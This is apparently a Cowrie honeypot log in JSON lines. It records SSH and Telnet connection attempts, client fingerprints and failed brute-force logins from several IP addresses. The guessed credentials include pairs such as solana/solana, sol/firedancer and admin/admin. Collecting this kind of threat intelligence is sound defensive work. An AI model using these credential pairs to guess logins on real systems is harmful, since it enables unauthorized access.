{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:41:17.474513Z","src_ip":"195.178.110.218","session":"e91f2e9ff97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:41:17.715525Z","src_ip":"195.178.110.218","session":"e91f2e9ff97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:41:18.800563Z","src_ip":"195.178.110.218","session":"e91f2e9ff97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57098,"dst_ip":"159.203.135.109","dst_port":22,"session":"957215e74fad","protocol":"ssh","message":"New connection: 2.57.122.208:57098 (159.203.135.109:22) [session: 957215e74fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:20.345714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:20.531284Z","src_ip":"2.57.122.208","session":"957215e74fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:20.535196Z","src_ip":"2.57.122.208","session":"957215e74fad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:21.132885Z","src_ip":"2.57.122.208","session":"957215e74fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:22.379815Z","src_ip":"2.57.122.208","session":"957215e74fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59032,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e1cd7a870a5","protocol":"ssh","message":"New connection: 195.178.110.218:59032 (10.17.0.5:22) [session: 0e1cd7a870a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:47.382494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:47.386160Z","src_ip":"195.178.110.218","session":"0e1cd7a870a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:47.461431Z","src_ip":"195.178.110.218","session":"0e1cd7a870a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:47.686606Z","src_ip":"195.178.110.218","session":"0e1cd7a870a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":28932,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a3938475e45","protocol":"ssh","message":"New connection: 213.209.159.159:28932 (10.17.0.5:22) [session: 8a3938475e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:47.848257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:47.853001Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:47.936767Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner","message":"login attempt [turner/turner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:48.346554Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:48.766515Z","src_ip":"195.178.110.218","session":"0e1cd7a870a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner1","message":"login attempt [turner/turner1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:49.432870Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner123","message":"login attempt [turner/turner123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:50.519100Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner1234","message":"login attempt [turner/turner1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:51.604839Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner12345","message":"login attempt [turner/turner12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:52.689897Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:42:53.776559Z","src_ip":"213.209.159.159","session":"8a3938475e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42400,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a0431db67c3","protocol":"ssh","message":"New connection: 195.178.110.218:42400 (159.203.135.109:22) [session: 7a0431db67c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:43:53.661156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:43:53.665827Z","src_ip":"195.178.110.218","session":"7a0431db67c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:43:53.746798Z","src_ip":"195.178.110.218","session":"7a0431db67c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:43:53.986796Z","src_ip":"195.178.110.218","session":"7a0431db67c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:43:55.070960Z","src_ip":"195.178.110.218","session":"7a0431db67c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":16108,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f2d075eae9a","protocol":"ssh","message":"New connection: 185.246.130.20:16108 (10.17.0.5:22) [session: 4f2d075eae9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:31.120980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:37.412052Z","src_ip":"185.246.130.20","session":"4f2d075eae9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:37.573051Z","src_ip":"185.246.130.20","session":"4f2d075eae9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43022,"dst_ip":"159.203.135.109","dst_port":22,"session":"cea69d6988e4","protocol":"ssh","message":"New connection: 2.57.122.208:43022 (159.203.135.109:22) [session: cea69d6988e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:45.707055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:45.822585Z","src_ip":"2.57.122.208","session":"cea69d6988e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:45.825429Z","src_ip":"2.57.122.208","session":"cea69d6988e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:46.459279Z","src_ip":"2.57.122.208","session":"cea69d6988e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:47.621548Z","src_ip":"2.57.122.208","session":"cea69d6988e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:51.074301Z","src_ip":"185.246.130.20","session":"4f2d075eae9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:55.865056Z","src_ip":"185.246.130.20","session":"4f2d075eae9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:44:58.903807Z","src_ip":"185.246.130.20","session":"4f2d075eae9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.0","message":"Connection lost after 29.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:00.139312Z","src_ip":"185.246.130.20","session":"4f2d075eae9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.22.166.163","src_port":60470,"dst_ip":"10.17.0.5","dst_port":23,"session":"afabc5b96c78","protocol":"telnet","message":"New connection: 47.22.166.163:60470 (10.17.0.5:23) [session: afabc5b96c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:12.728255Z"}
{"eventid":"cowrie.session.closed","duration":15.304535150527954,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:28.032607Z","src_ip":"47.22.166.163","session":"afabc5b96c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41246,"dst_ip":"10.17.0.5","dst_port":22,"session":"44f3794cea6c","protocol":"ssh","message":"New connection: 195.178.110.218:41246 (10.17.0.5:22) [session: 44f3794cea6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:35.985816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:35.990804Z","src_ip":"195.178.110.218","session":"44f3794cea6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:36.071228Z","src_ip":"195.178.110.218","session":"44f3794cea6c","protocol":"ssh"}
